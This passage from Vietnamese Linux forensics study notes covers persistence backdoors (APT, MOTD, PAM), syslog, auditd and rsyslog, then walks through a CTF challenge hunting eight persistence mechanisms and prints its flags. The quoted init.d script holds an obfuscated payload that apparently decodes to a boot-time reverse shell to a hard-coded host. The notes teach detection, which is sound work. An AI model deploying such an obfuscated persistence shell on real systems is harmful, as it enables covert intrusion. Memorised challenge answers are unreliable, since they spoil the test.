trỏ đến một repository độc hại. - **Thay thế hoặc chỉnh sửa khóa GPG** trong `/etc/apt/trusted.gpg.d/` để **APT** coi các gói độc hại là hợp pháp. - Khi hệ thống thực hiện lệnh `apt-get update` hoặc `apt-get upgrade`, `repository` bị chèn vào sẽ cung cấp các gói phần mềm độc hại. ### 11. MOTD Backdooring * `MOTD` (`Message of the Day`) là thông điệp hiển thị cho người dùng khi họ đăng nhập vào hệ thống. Nội dung `MOTD` thường được cấu hình trong `/etc/motd` hoặc được tạo động bởi các script trong `/etc/update-motd.d/` **Kĩ thuật:** - Chèn mã độc vào file `/etc/motd` - Chèn mã độc vào script trong `/etc/update-motd.d/` ### 12. PAM (Pluggable Authentication Modules) Backdooring * **PAM** (`Pluggable Authentication Modules`) là một hệ thống xác thực linh hoạt trong **Linux**, cho phép quản trị viên cấu hình nhiều phương thức xác thực khác nhau thông qua các module riêng biệt. Các cấu hình **PAM** được đặt trong `/etc/pam.d/` và `/etc/security/`, và mỗi dịch vụ (như `sshd`, `login`, `sudo`) đều có thể sử dụng cấu hình PAM để quản lý việc xác thực người dùng. **Kĩ thuật:** - Tạo một module **PAM** giả mạo hoặc sửa đổi một module hợp lệ để chứa mã độc, rồi chỉnh sửa các file cấu hình trong `/etc/pam.d/` để gọi đến module này. - Trong các file như `/etc/pam.d/sshd` hoặc `/etc/pam.d/login`, kẻ tấn công có thể thêm cấu hình cho phép bypass xác thực hoặc cho phép đăng nhập không cần mật khẩu. ### Note * Ngoài ra có thể còn rất nhiều kỹ thuật khác, mọi người có thể đọc ở [Linux - Persistence - Internal All The Things](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/) và ở [The Art Of Linux Persistence](https://hadess.io/the-art-of-linux-persistence/) nhaaa. ## Syslog ### Khái niệm * **Syslog** (`System Logging`) là một giao thức `client/server` là giao thức dùng để chuyển log và thông điệp đến máy nhận log. Máy nhận log thường được gọi là `syslogd`, `syslog daemon` hoặc `syslog server`. **Syslog** có thể gửi qua `UDP` hoặc `TCP`. Các dữ liệu được gửi dạng cleartext. **Syslog** dùng port $514$. * Ngoài ra **Syslog** còn là một gói phần mềm trong hệ thống **Linux** nhằm để ghi bản tin log của hệ thống trong quá trình hoạt động như của `kernel`, `deamon`, `cron`, `auth`, hoặc các ứng dụng chạy trên hệ thống như `http`, `dns`, `dhcp`,.. * **Syslog** ban đầu sử dụng `UDP`, điều này là không đảm bảo cho việc truyền tin. Tuy nhiên sau đó **IETF** đã ban hành **RFC 3195** (đảm bảo tin cậy cho **syslog**) và **RFC 6587** (truyền tải thông báo **syslog** qua `TCP`). Điều này có nghĩa là ngoài `UDP` thì giờ đây **syslog** cũng đã sử dụng `TCP` để đảm bảo an toàn cho quá trình truyền tin. * Trong chuẩn **syslog**, mỗi thông báo đều được dán nhãn và được gán các mức độ nghiêm trọng khác nhau. Các loại phần mềm sau có thể sinh ra thông báo: `auth`, `authPriv`, `daemon`, `cron`, `ftp`, `dhcp`, `kern`, `mail`, `syslog`, `user`,… Với các mức độ nghiêm trọng từ cao nhất trở xuống `Emergency`, `Alert`, `Critical`, `Error`, `Warning`, `Notice`, `Info`, and `Debug`. ### Các thành phần trong Syslog * `Agent Syslog`: là phần mềm hoặc phần cứng được cài đặt trên các thiết bị hoặc ứng dụng để thu thập thông điệp `Syslog` và gửi chúng đến máy chủ `Syslog`. Các thông điệp này có thể liên quan đến các sự kiện như lỗi, cảnh báo, thông tin hoạt động, và nhiều thông tin khác. * **Máy chủ `Syslog`**: là trung tâm quản lý và giám sát, nơi thu thập thông điệp `Syslog` từ các `agent` và lưu trữ chúng. Máy chủ này cung cấp khả năng lọc, phân loại và lưu trữ thông điệp, cho phép người quản trị theo dõi và phân tích hoạt động hệ thống một cách hiệu quả. * **Giao thức `Syslog`**: giao thức `Syslog` thường sử dụng giao thức truyền thông `UDP` hoặc `TCP` để gửi thông điệp từ `agent` đến máy chủ `Syslog`. Giao thức này đảm bảo việc chuyển tải thông điệp một cách nhanh chóng và đáng tin cậy. * **Cấu trúc thông điệp `Syslog`**: mỗi thông điệp `Syslog` bao gồm hai phần chính là tiêu đề và nội dung: * Tiêu đề chứa các thông tin như ưu tiên, thời gian và nguồn gốc của thông điệp. * Nội dung chứa các thông tin chi tiết về hoạt động hoặc sự kiện mà thông điệp đại diện. ## audit và rsyslog * Trong **Linux**, `audit` và `rsyslog` là hai công cụ khác nhau nhưng có liên quan đến việc ghi nhật ký và giám sát hệ thống. * `audit` (cụ thể là `auditd`) tập trung vào việc ghi lại các sự kiện hệ thống, đặc biệt là các hoạt động liên quan đến bảo mật, như truy cập tệp, thay đổi quyền, và các lệnh được thực thi bởi người dùng hoặc tiến trình. Trong khi đó, `rsyslog` là một hệ thống ghi nhật ký linh hoạt, có thể thu thập, lọc và chuyển tiếp nhiều loại nhật ký khác nhau, bao gồm cả nhật ký từ `auditd`. ### Khái niệm Audit (auditd) * **Mục đích**: Ghi lại các sự kiện hệ thống, đặc biệt là các sự kiện liên quan đến bảo mật. * **Cách hoạt động**: `auditd` lắng nghe các yêu cầu hệ thống và ghi lại các sự kiện cụ thể dựa trên các quy tắc được cấu hình. * **Ví dụ**: Ghi lại việc ai đã truy cập tệp `/etc/passwd`, ai đã thay đổi quyền của một thư mục, hoặc lệnh nào đã được thực thi bởi một người dùng cụ thể. * **Cấu hình**: Cấu hình `auditd` thường nằm trong thư mục ``/etc/audit/`` và các tệp quy tắc (`rule files`) trong ``/etc/audit/rules.d/``. * **Công cụ liên quan**: `auditctl`, `ausearch`, `autrace`. ### Công dụng của Audit #### Auditd thu thập được gì trong cuộc tấn công? * `Auditd` mạnh ở mức hệ thống thấp (`low level`) – bắt mọi hành vi syscall nhạy cảm. | Loại hành vi tấn công | Auditd có thể thu được | | ---------------------------------------------- | -------------------------------------------------------------- | | **Thực thi lệnh độc hại** | `execve()` → thấy rõ lệnh + path + UID + PID + thời gian | | **Tạo/ghi/xóa file** | `open()`, `unlink()`, `write()`… | | **Thay đổi quyền file/chmod** | `chmod()`, `fchmod()` | | **Sửa config hệ thống (/etc/passwd, sudoers)** | `write()` hoặc `open` file đó | | **Gõ lệnh shell (vd: whoami)** | Nếu có rule `-a always,exit -F arch=b64 -S execve -k usercmds` | | **Privilege escalation** | Phát hiện `setuid` binary, `sudo`, hoặc `su` | | **Persistence (giữ chỗ)** | Ghi vào `/etc/rc.local`, `cron`, `systemd`, `~/.bashrc`... | | **Tấn công vào socket, cổng mạng** | Nếu bật audit netlink, hoặc audit rule mở rộng | * Ví dụ thực tế: Khi `attacker` tải `backdoor`, chạy `reverse shell`, chỉnh sửa `cronjob`, tất cả các hành vi này nếu trúng `rules` thì `auditd` ghi lại được đầy đủ. #### SIEM thu thập gì từ auditd? * Hành vi người dùng và tiến trình: * Ai đã chạy lệnh gì (dù là `root` hay `user` thường). * Dấu vết truy cập/chạy các tập tin nhạy cảm: `/etc/shadow`, `/etc/passwd`, `key SSH`,… * Các lệnh nguy hiểm như `chmod`, `chown`, `mount`,… * Truy cập hệ thống tập tin: * File nào bị đọc, ghi, xóa, thay đổi quyền. * Thời gian cụ thể + `UID/GID` + `PID`. * Thay đổi quyền và chính sách: * Sự kiện thay đổi `SELinux`, `AppArmor`,... * Ghi nhận thay đổi `user/group`, `login shell`,... * Hoạt động mạng hệ thống (nếu `auditd` mở rộng `rules`): Ghi nhận tạo socket, mở connect,… #### Sự khác biệt của auditd * Có thể kể đến 1 vài khác biệt/ ưu điểm của `auditd` so với các công cụ logging khác (như `syslog`, `journald`, `bash history`) là: * Ghi nhận hoạt động ở `kernel-level`. * Không chỉnh sửa được dễ dàng. * Ghi nhận **UID**, thời gian địa điểm rõ ràng. * Hỗ trợ quy tắc giám sát tùy chỉnh (`audit rules`). * Độ chi tiết cao. ### Khái niệm Rsyslog * **Mục đích**: Thu thập, lọc, định dạng và chuyển tiếp các thông điệp nhật ký từ nhiều nguồn khác nhau, bao gồm cả `auditd`. * **Cách hoạt động**: `rsyslog` hoạt động như một `daemon`, lắng nghe các thông điệp nhật ký trên các cổng mạng hoặc từ các tệp nhật ký địa phương và xử lý chúng theo các quy tắc cấu hình. * **Ví dụ**: Ghi lại nhật ký hệ thống, nhật ký ứng dụng, nhật ký bảo mật, và nhật ký từ các dịch vụ khác nhau. * **Cấu hình**: Cấu hình `rsyslog` thường nằm trong thư mục `/etc/rsyslog.conf` hoặc các tệp cấu hình trong thư mục ``/etc/rsyslog.d/``. * Công cụ liên quan: `logger`, `rsyslogd`. ### Công dụng của Rsyslog #### Rsyslog thu thập được gì trong tấn công? * `Rsyslog` tập trung ở mức dịch vụ – ứng dụng, ghi lại log hệ thống tổng quát. | Loại log | Thu được gì | | ------------------------------------ | ------------------------------------------- | | **Log auth** (`/var/log/auth.log`) | Đăng nhập **SSH**, `sudo su`, đăng nhập thất bại | | **Log cron** | Khi `attacker` lên `cronjob` | | **Log dịch vụ (nginx, apache...)** | Hành vi truy cập web độc hại, **shell upload** | | **Kernel log** (`/var/log/kern.log`) | Dò lỗi `kernel`, module lạ | | **Log boot, hệ thống** | Lưu mọi hành vi khởi động lại, load service | #### SIEM thu thập gì từ rsyslog? * Log hệ thống (`syslog`): thông tin về khởi động, dịch vụ, nhân hệ điều hành, cấu hình hệ thống, ... * Log người dùng: như đăng nhập/đăng xuất (`sshd`, `login`, sudo) * Log mạng: dịch vụ như `iptables`, `firewalld`, `NetworkManager`, ... * Log ứng dụng: như `Apache/Nginx`, `MySQL`, `Docker`,... * Log từ `daemon` hoặc dịch vụ cụ thể (có cấu hình ghi log vào `syslog` như `cron`, `rsync`, `postfix`, ...) #### Sự khác biệt của rsyslog * Có thể kể đến 1 vài khác biệt/ ưu điểm của `rsyslog` so với các công cụ logging khác (như `auditd`, `journald`, `bash history`) là: * Thu thập nhiều loại log từ toàn hệ thống. * Chuyển tiếp linh hoạt log qua mạng. * Tùy biến đầu ra (output): có thể ghi log vào `file`, gửi qua `network`, lưu vào `database`, hoặc `pipe`. * Cấu hình đơn giản. ### Mối quan hệ giữa Audit và Rsyslog * `auditd` ghi lại các sự kiện và gửi chúng đến `rsyslog` để xử lý. * `rsyslog` có thể cấu hình để nhận các thông điệp nhật ký từ `auditd` và lưu chúng vào các tệp nhật ký khác nhau hoặc chuyển tiếp chúng đến một máy chủ nhật ký tập trung. * Bằng cách này, `auditd` cung cấp dữ liệu chi tiết về các sự kiện hệ thống, và `rsyslog` giúp quản lý và lưu trữ các dữ liệu này một cách hiệu quả. ### Ví dụ về cấu hình * Để `rsyslog` ghi lại nhật ký từ `auditd`, cần thêm một quy tắc trong tệp cấu hình `rsyslog` (ví dụ `/etc/rsyslog.conf` hoặc `/etc/rsyslog.d/audit.conf`): ```py if $syslogfacility-sender == 'audit' then /var/log/audit.log ``` * Đoạn mã trên chỉ định rằng nếu thông điệp nhật ký đến từ `audit` thì nó sẽ được ghi vào tệp `/var/log/audit.log`.Đương nhiên cần khởi động lại `rsyslog` để áp dụng các thay đổi. ### Tóm tắt * `Audit` và `rsyslog` là hai công cụ **riêng biệt** nhưng phối hợp với nhau để giám sát và ghi nhật ký hệ thống **Linux**. `Audit` tập trung vào việc ghi lại các sự kiện bảo mật, trong khi `rsyslog` cung cấp một cơ chế linh hoạt để thu thập, xử lý và lưu trữ các loại nhật ký khác nhau, bao gồm cả nhật ký từ `auditd`. Nhưng điều đó không đồng nghĩa với việc `auditd` tự động gửi log sang `rsyslog`, muốn vậy thì phải cấu hình. ### Refs https://adminvietnam.org/log-syslog-va-rsyslog-trong-linux/4405/ https://vietnix.vn/linux-audit/#:~:text=Linux%20Audit%20gi%C3%BAp%20c%C3%A1c%20qu%E1%BA%A3n,%C4%91%C3%A3%20theo%20d%C3%B5i%20b%C3%A0i%20vi%E1%BA%BFt! ## Ưu điểm, nhược điểm của log shell trong Linux ### Ưu điểm: * **Ghi lại lịch sử lệnh người dùng**: Các công cụ như `.bash_history`, `auditd`,... giúp ghi lại hành vi người dùng, phục vụ kiểm tra bảo mật và điều tra sau sự cố. * **Phục vụ forensics và auditing**: Dễ dàng truy vết người dùng nào đã thực thi lệnh gì, thời điểm nào. * **Tích hợp đơn giản**: Một số công cụ như `bash_history` hay script hoạt động mặc định hoặc dễ cấu hình. * **Gắn với người dùng cụ thể**: Dễ liên kết hành vi với tài khoản cụ thể. ### Nhược điểm: * **Dễ bị xóa hoặc chỉnh sửa**: `.bash_history` có thể bị người dùng xóa hoặc vô hiệu hóa. * **Không có thông tin thời gian chính xác**: Mặc định `.bash_history` không lưu `timestamp` trừ khi bật **HISTTIMEFORMAT**. * Không ghi lại lệnh không thành công / bị gián đoạn: Một số log không đầy đủ. * Không ghi lại kết quả thực thi: Chỉ lưu lệnh, không lưu đầu ra (stdout/stderr). * Không đủ mạnh với `attacker` khi có quyền `root`: Kẻ tấn công với quyền `root` có thể xóa sạch log, làm mất dấu vết. ### Giải pháp thay thế / bổ sung: * `auditd`: Theo dõi mọi lệnh thực thi theo thời gian thực, ghi log với thời gian chính xác, không dễ bị chỉnh sửa. * [acct (psacct)](https://www.tutorialspoint.com/how-to-monitor-linux-users-activity-with-psacct-or-acct-tools#:~:text=psacct%2C%20also%20known%20as%20Process,based%20on%20system%20usage%20patterns.): Theo dõi thời gian thực thi và tài nguyên hệ thống dùng cho mỗi lệnh. * `Syslog forwarding`: Gửi log tới máy chủ log từ xa để tránh bị xóa cục bộ. ## Thắc mắc * Có thể không ai hỏi, nhưng mình vẫn xin phép được thắc mắc là: Log được sinh ra như thế nào trong **Linux**?. Cụ thể hơn thì ví dụ, khi mình gõ `whoami` trên `shell`, thì điều gì xử lý, điều gì gọi ra, và cái gì lưu log? * Sau 1 thời gian đi tìm hiểu, có lẽ đây là câu trả lời mà mình cảm thấy hợp lý nhất. * Trong **Linux**, không có một hệ thống logging tập trung kiểu như `ETW` của **Windows**. Thay vào đó, log được sinh ra một cách phân tán, thông qua cơ chế: `Syscall → kernel → syscall auditing hoặc log service`. * Khi ta gõ `whoami`: * **Shell** sẽ thực thi binary `/usr/bin/whoami` (hoặc `/bin/whoami`) sau đó **Bash** gọi `syscall` `execve("/usr/bin/whoami", ...)` và gửi yêu cầu tới `kernel`. * **Kernel** xử lý → tạo tiến trình mới. * Nếu `auditd` đang chạy và có rule phù hợp, `kernel` sẽ gửi sự kiện đó đến `audit daemon (auditd)` và log sẽ được ghi vào `/var/log/audit/audit.log`. * Nếu **bash** có gọi `syslog()`, nội dung sẽ được chuyển tới `rsyslog` hoặc `journald`. Log này sẽ được lưu vào `/var/log/syslog`, `/var/log/messages`, hoặc xem bằng `journalctl`. ## Challenge * Phần này mình ~~cảm thấy~~ ngắn hơn so với [Windows forensics ](https://hackmd.io/fmZj8OQPRB-NQ3Zl7byxGQ?view), tuy nhiên để xem xem có hiểu những gì vừa tìm hiểu không, thì có lẽ nên ~~súc miệng~~ 1 bài dưới đây, cũng đơn giản, chủ yếu để củng cố kiến thức bên trên hoi. 😶‍🌫️ ### HoldOnTight * Sau khi giải nén thì mình nhận được các thứ này: ![image](https://hackmd.io/_uploads/ByyvGJT8eg.png) * Do có `Decription` nên đương nhiên mình đọc nó trước, nội dung là: ```py Decription: 298 linux persistence Hacking is all about persistence Author: vivisghost Cre: L3akCTF Hướng dẫn submit: chạy lệnh python solve.py và submit flag ``` * Mình ở tiếp file `solve.py` đọc thử thì thấy cái này, có vẻ là `hint`: ```py Welcome to the ultra-realistic Flag Finder Simulation! A stealthy hacker has compromised this system and deployed 8 cunning persistence mechanisms. Your mission, should you choose to accept it, involves the /etc directory, a known haven for configuration treachery. Each mechanism is cleverly referencing /tmp/backdoor.sh – a nefarious script, no doubt. Alongside each persistence mechanism, a flag is concealed. Secure all 8 to halt the hacker’s scheme. Report back with each flag as you uncover them. Each mini flag has L3ak{} format. Remember: After securing the 8 mini flags, the ultimate flag shall unveil itself. Gear up, remain vigilant, and good luck! ``` * Theo như `hint` mô tả thì kiểu là tìm 8 mảnh `flag` trong folder `/etc` liên quan tới 8 kỹ thuật `persistence` trong đó. * Quá trình mình mò mò cũng mất ~~chút chút~~ thời gian hoi, nên là mình sẽ trình bày luôn 8 kỹ thuật `persistence`. #### Part 1: CronJob * `cat /etc/crontab`: ![image](https://hackmd.io/_uploads/HyUiNkpLge.png) * `Part 1: L3ak{Cr0n5_50_C71ch3}` #### Part 2: Systemd Services * Check trong `/etc/systemd/system/`, mình thấy có mấy cái file `backdoor` trông ~~sú điên~~: ![Screenshot 2025-07-22 171716](https://hackmd.io/_uploads/BkWsrkpUxe.png) * `Cat backdoor.service` thì thấy có 1 string lạ: ![Screenshot 2025-07-22 171843](https://hackmd.io/_uploads/r1iJIkaUxe.png) * Đảo ngược lại chuỗi thì được miếng `flag` thứ 2. * `Part 2: L3ak{53rv1c3_@nd_T1m3r}` #### Part 3: rc.local * `rc.local` và các script trong ``/etc/init.d/`` cho phép thực thi các lệnh khi hệ thống khởi động. * ` cat /etc/rc.local`: ![image](https://hackmd.io/_uploads/B1LcDkpLeg.png) * Mấy đoạn `base64` mình đem decode thử hết, và được miếng `flag` thứ 3. ![image](https://hackmd.io/_uploads/S1gxdJa8ll.png) * `Part 3: L3ak{rc_l0c4l_0n_b00t}` #### Part 4: /etc/init.d/ * Cái này tác dụng của nó cũng như `rc.local`, cho phép thực thi các lệnh khi hệ thống khởi động. ![image](https://hackmd.io/_uploads/S12UOkaIgl.png) * Có mấy file `bash` khả nghi, mình đọc thử tất cả thì thấy cái này. * `cat etc/init.d/stillhere.sh`: ```py #!/bin/bash ### BEGIN INIT INFO # Provides: mysticportal # Required-Start: $network # Required-Stop: # Default-Start: 2 3 4 5 # Default-Stop: 0 1 6 # Short-Description: Starts mysticportal ### END INIT INFO # Function to intreprt messege from the other side decode_payload() { local ENCHANTED=$1 local i=5 local payload="" while [ $i -lt ${#ENCHANTED} ]; do payload="${payload}${ENCHANTED:$i:1}" i=$((i+6)) done echo "$payload" } # ENCHANTED strings ENCHANTED_PATH="MZolj/onNzUtGEMrLmZjjrgprmKwL/xcUclbzQqpeagLsHYcnBeuNkTWiLaduoxKGoLdmsRoNsrdDrjCksD.nFFiksEAYUQhOHsOK" ENCHANTED_STRING="pfXya/kxqlGbKSPOdikkkUFneWGvk/ATUHObOIgGWaBKYZOsEXWVghZSygL nAIBf-UlMDeiMasOY hwnXE>pbkdm&CJjQK ZULrp/IwnjWdJkTMEePmysevNjfCB/JlMRvtNFdlKciUeGmpMJJxq/AEacj1ApwVV0vQaJr.qQhHU0hmDRa.ihgtX0tsiBd.kawOW6Ekxfl/XwTlz1bRFlJ2XiOHY3ujqyy4QrLBa sQwaF0EQcvD>LpYku&Fyakx1shVgW" #sJddrLOwQzD3SwoKPavkMSxkXsAXn{CvzIEiaRxQCnkMjFZiSIjBAtkUwvbdPMZbW_udhQT2inbJn_VLZtRbJPTCm0gsJDF0yUiZi7paJvr5giIKI}DScGa # Decode the ENCHANTED path and script MYSTICPORTAL_PATH=$(decode_payload "$ENCHANTED_PATH") MYSTICPORTAL_SCRIPT=$(decode_payload "$ENCHANTED_STRING") start() { echo "Starting mysticportal service..." if [ ! -f "$MYSTICPORTAL_PATH" ]; then echo "MYSTICPORTAL script not found, recreating..." echo "$MYSTICPORTAL_SCRIPT" > "$MYSTICPORTAL_PATH" chmod +x "$MYSTICPORTAL_PATH" fi # Start the MYSTICPORTAL script or service "$MYSTICPORTAL_PATH" } stop() { echo "Stopping MYSTICPORTAL service..." # Code to stop the MYSTICPORTAL service } case "$1" in start) start ;; stop) stop ;; *) echo "Usage: /etc/init.d/MYSTICPORTAL {start|stop}" exit 1 ;; esac exit 0 ``` * `#sJddrLOwQzD3SwoKPavkMSxkXsAXn{CvzIEiaRxQCnkMjFZiSIjBAtkUwvbdPMZbW_udhQT2inbJn_VLZtRbJPTCm0gsJDF0yUiZi7paJvr5giIKI}DScGa` có lẽ là `enc_flag`, nó mã hóa bằng cách đem từng ký tự `flag` cho vào trong `enc_flag` với `index` 6, 12, 18, .. * Code decrypt thì đơn giản hoi: ![image](https://hackmd.io/_uploads/HkfF91aIxe.png) * `Part 4: L3ak{initd_2_b0075}` #### Part 5: APT backdooring * Thêm nguồn độc hại vào danh sách `repository` trong `/etc/apt/sources.list` hoặc tạo một file mới trong ``/etc/apt/`` trỏ đến một `repository` độc hại. * Trong `/etc/apt/apt.conf.d`, mình mò thì thấy `100holdon` có `base64`: ![image](https://hackmd.io/_uploads/r1TLTJ6Iel.png) ![image](https://hackmd.io/_uploads/HkN2Tk68xg.png) * `Part 5: L3ak{4p7_In57411_5h311}` #### Part 6: MOTD * **MOTD** (`Message of the Day`) là thông điệp hiển thị cho người dùng khi họ đăng nhập vào hệ thống. Nội dung **MOTD** thường được cấu hình trong `/etc/motd` hoặc được tạo động bởi các script trong ``/etc/update-motd.d/``. * `cd /etc/update-motd.d` sau đó trong `00-header` có mấy dòng `echo` sú sú: ![Screenshot 2025-07-22 174619](https://hackmd.io/_uploads/S1JUhypLge.png) ![image](https://hackmd.io/_uploads/B1gan1a8le.png) * `Part 6: L3ak{5h311_0f_7h3_D4y}` #### Part 7: PAM * **PAM** (`Pluggable Authentication Modules`) là một hệ thống xác thực linh hoạt trong **Linux**, cho phép quản trị viên cấu hình nhiều phương thức xác thực khác nhau thông qua các module riêng biệt. Các cấu hình **PAM** được đặt trong ``/etc/pam.d/`` và ``/etc/security/``. * Check trong ``/etc/pam.d/``, sau đó mình mò ra thằng `sudo`: ![Screenshot 2025-07-22 174236](https://hackmd.io/_uploads/r1KwiJ68ge.png) * Mình để ý mấy mẩu `flag` nó hay chèn các ký tự đặc biệt, chắc để tránh `string grep` chăng 🤣 * `Part 7: L3ak{5up3r_5h311_u53r}` #### Part 8: Logrotate Scripts * Cái cơ chế này thì bên trên mình chưa đề cập, nhưng sau 1 quá trình tìm kiếm, thì mình hiểu cơ chế này như sau: - `logrotate` thực hiện xoay vòng các file log, nén, và lưu trữ chúng trong khoảng thời gian định kỳ giúp giảm tải bộ nhớ mà vẫn giữ lại các bản ghi cần thiết. - Trong thư mục `/etc/logrotate.d/`, mỗi dịch vụ có file cấu hình riêng. Ví dụ, `rsyslog` có file `/etc/logrotate.d/rsyslog` giúp cấu hình cách thức quản lý log của dịch vụ này. * Vì `logrotate` tự động chạy theo lịch trình nhất định, việc chèn mã độc vào các tệp này có thể giúp malware thực thi lại mỗi khi `logrotate` được kích hoạt: - Tệp `rsyslog` trong `logrotate` có thể được chỉnh sửa để thêm mã thực thi lệnh độc hại trong các phần `postrotate` và `endscript`, những phần này sẽ được thực thi sau khi hoàn thành việc xoay vòng log. - Sử dụng lệnh tải lại `rsyslog` để kích hoạt malware. Bằng cách thay đổi lệnh `postrotate` để chạy mã độc, malware có thể kích hoạt mỗi khi `rsyslog` được tải lại. * Check file `rsyslog` trong `/etc/logrotate.d`: ![image](https://hackmd.io/_uploads/rJ30Ay6Ile.png) ![image](https://hackmd.io/_uploads/rkAmJgpIeg.png) * `Part 8: L3ak{10g_7h47_5h311}` * Chạy lại file `solve.py`, nhập đúng 8 miếng `flag` con này và có được `flag` to. * **Flag: ~~L3AK{C4n7_570p_w0n7_570p_p3rs1s7}~~**